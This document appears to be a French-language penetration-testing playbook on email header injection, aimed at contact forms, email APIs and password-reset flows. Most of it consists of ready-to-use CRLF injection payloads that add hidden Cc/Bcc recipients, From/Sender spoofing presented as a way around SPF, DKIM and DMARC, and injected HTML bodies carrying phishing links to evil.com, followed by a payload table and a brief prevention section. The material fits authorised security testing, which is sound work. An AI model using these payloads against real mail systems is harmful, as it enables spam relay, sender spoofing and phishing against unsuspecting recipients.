Que fait email-header-injection ?
Playbook d'injection et d'usurpation d'en-têtes email. À utiliser lors des tests de formulaires de contact, d'API email, de flux de réinitialisation de mot de passe ou de toute fonctionnalité construisant des messages SMTP avec des champs contrôlés par l'utilisateur. Couvre l'injection CRLF dans les en-têtes, le contournement SPF/DKIM/DMARC et l'amplification de phishing.
Objectif
Identifier et exploiter les vulnérabilités d'injection d'en-têtes dans les emails. Cela permet d'ajouter des en-têtes arbitraires, de contourner les protections SPF/DKIM/DMARC, ou d'amplifier des attaques de phishing.
Plateformes compatibles
- Burp Suite (Repeater, Intruder)
- CLI
yak(viayak run) - Scripts personnalisés avec la bibliothèque
yak
Préparation
- Identifiez les endpoints qui construisent des emails avec des entrées utilisateur (formulaires de contact, inscriptions, réinitialisations).
- Interceptez la requête avec Burp ou un proxy équivalent.
- Notez les champs potentiellement injectables :
subject,from,to,cc,bcc,reply-to.
Techniques
1. Injection CRLF dans les en-têtes
Ajoutez des séquences CRLF (%0d%0a ou \r\n) dans les champs pour injecter de nouveaux en-têtes.
Exemple avec subject :
subject=Test%0d%0aCc:%[email protected]%0d%0aBcc:%[email protected]
Résultat : L'email est envoyé avec les en-têtes Cc et Bcc supplémentaires.
Test avec yak :
yak run -f payload.yak --target http://target.com/contact
2. Contournement SPF/DKIM/DMARC
Manipulez l'en-tête From pour usurper une adresse légitime, tout en utilisant des techniques de contournement des contrôles.
Exemple :
From: [email protected]%0d%0aSender: [email protected]
Explication : L'en-tête Sender peut être ignoré par certains serveurs, tandis que From est utilisé pour l'affichage. Certains serveurs appliquent moins strictement SPF/DKIM/DMARC.
Test : Envoyez l'email vers un compte contrôlé pour vérifier la délivrabilité.
3. Amplification de phishing
Injectez des en-têtes pour inclure des liens de phishing ou des pièces jointes.
Exemple :
subject=Urgent%0d%0aContent-Type:%20multipart/mixed;%20boundary="boundary123"%0d%0a%0d%0a--boundary123%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<a%20href="http://evil.com/phish">Cliquez%20ici</a>%0d%0a--boundary123--
Résultat : L'email contient un lien malveillant masqué dans un contenu HTML.
Exemples de payloads
| Type de payload | Exemple |
|---|---|
| Injection CRLF simple | subject=Test%0d%0aBcc:%[email protected] |
| Contournement SPF | [email protected]%0d%[email protected] |
| Amplification phishing | subject=Re:%20Facture%0d%0aContent-Type:%20text/html;%20charset="UTF-8"%0d%0a%0d%0a<a%20href="http://evil.com">Facture</a> |
Détection et prévention
- Validation des entrées : Échappez ou rejetez les séquences CRLF dans les champs utilisateur.
- Utilisation de bibliothèques sécurisées : Privilégiez des bibliothèques email qui échappent automatiquement les en-têtes.
- Authentification renforcée : Appliquez strictement SPF, DKIM et DMARC.